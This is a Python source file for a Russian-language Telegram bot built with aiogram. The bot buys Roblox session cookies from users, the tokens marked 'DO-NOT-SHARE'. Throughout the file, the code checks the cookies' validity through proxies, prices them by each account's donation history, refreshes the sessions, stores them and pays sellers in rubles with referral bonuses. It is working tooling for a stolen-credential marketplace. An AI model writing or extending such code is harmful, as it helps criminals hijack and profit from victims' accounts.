Files

267 lines
9.8 KiB
Python
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
from __future__ import annotations
import asyncio
import random
import aiohttp
from aiogram import F, Router
from aiogram.filters import StateFilter
from aiogram.fsm.context import FSMContext
from aiogram.types import Message
from config import ADMIN_ID, COOKIE_FILES_DIR, FRESHER_BATCH_SIZE, ROBSEC_FILE
from db.storage import load_config, load_proxies, load_stats, save_stats
from db.users import get, register, save
from keyboards.user import back_kb, main_menu_kb
from models.pricing import CookieDonationInfo
from runtime import get_bot, get_log_bot
from services.admin import is_admin
from services.pricing import price_cookie_batch
from services.referrals import apply_referral_payout
from services.roblox import (
check_cookie_with_retry,
fresh_cookie_async,
get_all_time_donate,
get_year_donate,
)
from utils.logging import log_admin, log_admin_document
from utils.parsing import parse_cookies_text
router = Router(name="upload")
async def _blocked(message: Message) -> bool:
profile = get(message.from_user.id)
if profile is None:
register(message.from_user.id, message.from_user.username)
profile = get(message.from_user.id)
if profile.is_banned:
await message.answer(
f"❌ Вы заблокированы. Причина: {profile.ban_reason or ''}"
)
return True
cfg = load_config()
if not cfg.bot_enabled and message.from_user.id != ADMIN_ID:
await message.answer("🚫 Бот временно отключен.")
return True
if not cfg.shop_enabled and message.from_user.id != ADMIN_ID:
await message.answer("🚫 Скупка cookie временно отключена.")
return True
return False
@router.message(StateFilter(None), F.document)
async def handle_document(message: Message):
if is_admin(message.from_user.id):
await message.answer(
"👑 Администраторы не могут продавать cookie. Используйте /admin."
)
return
if await _blocked(message):
return
filename = message.document.file_name or ""
if not filename.lower().endswith(".txt"):
await message.answer("❌ Отправьте файл формата .txt.")
return
path = (
COOKIE_FILES_DIR
/ f"{message.from_user.id}_{random.randint(100000, 999999)}.txt"
)
try:
await message.bot.download(message.document, destination=path)
text = path.read_text(encoding="utf-8", errors="ignore")
finally:
path.unlink(missing_ok=True)
await process_cookies(message, text)
@router.message(StateFilter(None), F.text & ~F.text.startswith("/"))
async def handle_text(message: Message):
if is_admin(message.from_user.id):
await message.answer(
"👑 Администраторы не могут продавать cookie. Используйте /admin."
)
return
if await _blocked(message):
return
text = message.text or ""
if "_|WARNING:-DO-NOT-SHARE-THIS." not in text:
await message.answer(
"👋 Используйте меню ниже или отправьте текст с cookie.",
reply_markup=main_menu_kb(),
)
return
await process_cookies(message, text)
async def process_cookies(message: Message, raw_text: str):
cookies, duplicates = parse_cookies_text(raw_text)
if not cookies:
await message.answer("❌ В отправленных данных cookie не найдены.")
return
cfg = load_config()
proxies = load_proxies()
total = len(cookies)
progress = await message.answer(
f"⏳ <b>Начинаю обработку cookie</b>\nВсего: {total}\nДубликатов удалено: {duplicates}\nЭтап: проверка...",
parse_mode="HTML",
)
valid = []
async with aiohttp.ClientSession() as session:
tasks = [
check_cookie_with_retry(session, cookie, proxies) for cookie in cookies
]
for index, task in enumerate(asyncio.as_completed(tasks), start=1):
try:
result = await task
if result.status == "valid":
valid.append(result)
except Exception:
pass
if index % 20 == 0 or index == total:
try:
await progress.edit_text(
f"⏳ <b>Проверка cookie</b>\nПрогресс: {index}/{total}\n✅ Валидных: {len(valid)}",
parse_mode="HTML",
)
except Exception:
pass
if not valid:
await progress.edit_text(
f"❌ Валидные cookie не найдены. Дубликатов: {duplicates}"
)
return
await progress.edit_text(
f"⏳ <b>Проверяю донаты</b>\nВалидных cookie: {len(valid)}", parse_mode="HTML"
)
donations = []
async with aiohttp.ClientSession() as session:
async def get_donation(result):
proxy = random.choice(proxies) if proxies else None
all_time = await get_all_time_donate(
session, result.cookie, result.user_id, proxy
)
year = await get_year_donate(result.cookie, result.user_id, proxy)
return CookieDonationInfo(
cookie=result.cookie,
user_id=result.user_id,
username=result.username,
all_time=all_time,
year=year,
)
donations = await asyncio.gather(*(get_donation(result) for result in valid))
priced, avg_used, avg_price = price_cookie_batch(donations, cfg)
if not priced:
await progress.edit_text(
f"❌ Ни одна cookie не подошла под курсы. Валидных: {len(valid)}",
reply_markup=back_kb(),
)
return
await progress.edit_text(
f"⏳ <b>Обновляю cookie</b>\nК оплате: {len(priced)}\nМетод: {'AVG' if avg_used else 'поштучный'}",
parse_mode="HTML",
)
fresh_ok = []
fresh_failed = 0
for offset in range(0, len(priced), FRESHER_BATCH_SIZE):
batch = priced[offset : offset + FRESHER_BATCH_SIZE]
async def refresh(item):
proxy = random.choice(proxies) if proxies else None
ok, refreshed = await fresh_cookie_async(item.cookie, proxy)
return item, ok, refreshed
for item, ok, refreshed in await asyncio.gather(
*(refresh(item) for item in batch)
):
if ok and isinstance(refreshed, str) and refreshed.startswith("_|WARNING"):
fresh_ok.append((item, refreshed))
else:
fresh_failed += 1
try:
await progress.edit_text(
f"⏳ <b>Обновление cookie</b>\nПрогресс: {min(offset + len(batch), len(priced))}/{len(priced)}\n"
f"✅ Обновлено: {len(fresh_ok)}\n❌ Ошибок: {fresh_failed}",
parse_mode="HTML",
)
except Exception:
pass
if not fresh_ok:
await progress.edit_text(
f"❌ Не удалось обновить ни одной cookie. Валидных: {len(valid)}, ошибок: {fresh_failed}",
reply_markup=back_kb(),
)
return
ROBSEC_FILE.parent.mkdir(parents=True, exist_ok=True)
with ROBSEC_FILE.open("a", encoding="utf-8") as output:
output.writelines(f"{cookie}\n" for _, cookie in fresh_ok)
user_file = (
COOKIE_FILES_DIR
/ f"robsec_{message.from_user.id}_{random.randint(100000, 999999)}.txt"
)
user_file.write_text(
"".join(f"{cookie}\n" for _, cookie in fresh_ok), encoding="utf-8"
)
payout = sum(item.price for item, _ in fresh_ok)
profile = get(message.from_user.id)
if profile is None:
register(message.from_user.id, message.from_user.username)
profile = get(message.from_user.id)
profile.balance += payout
profile.total_earned += payout
profile.cookies_loaded += len(fresh_ok)
save(profile.user_id, profile)
stats = load_stats()
stats.total_cookies += len(fresh_ok)
stats.total_paid_direct += payout
save_stats(stats)
bot = get_bot() or message.bot
await apply_referral_payout(
bot, profile.user_id, profile.username, payout, cfg.referral_percent
)
method = "📊 AVG-система" if avg_used else "📋 Поштучный"
report = (
"✅ <b>Обработка завершена</b>\n\n"
f"Всего cookie: {total}\nДубликатов: {duplicates}\nВалидных: {len(valid)}\n"
f"Подошло под курс: {len(priced)}\nОбновлено: {len(fresh_ok)}\nОшибок обновления: {fresh_failed}\n"
f"Метод оплаты: {method}\n"
)
if avg_used:
report += f"AVG цена за cookie: {avg_price:.2f}\n"
report += f"\n💰 Начислено: <b>{payout:.2f} ₽</b>\n💳 Баланс: <b>{profile.balance:.2f} ₽</b>"
await progress.edit_text(report, parse_mode="HTML", reply_markup=main_menu_kb())
await log_admin(
bot,
ADMIN_ID,
f"🍪 <b>Новая покупка cookie</b>\n@{profile.username or ''} (<code>{profile.user_id}</code>)\n"
f"Всего: {total}, валидных: {len(valid)}, обновлено: {len(fresh_ok)}\nВыплачено: {payout:.2f}",
get_log_bot(),
)
await log_admin_document(
bot,
ADMIN_ID,
str(user_file),
caption=f"robsec от <code>{profile.user_id}</code>",
log_bot=get_log_bot(),
)
user_file.unlink(missing_ok=True)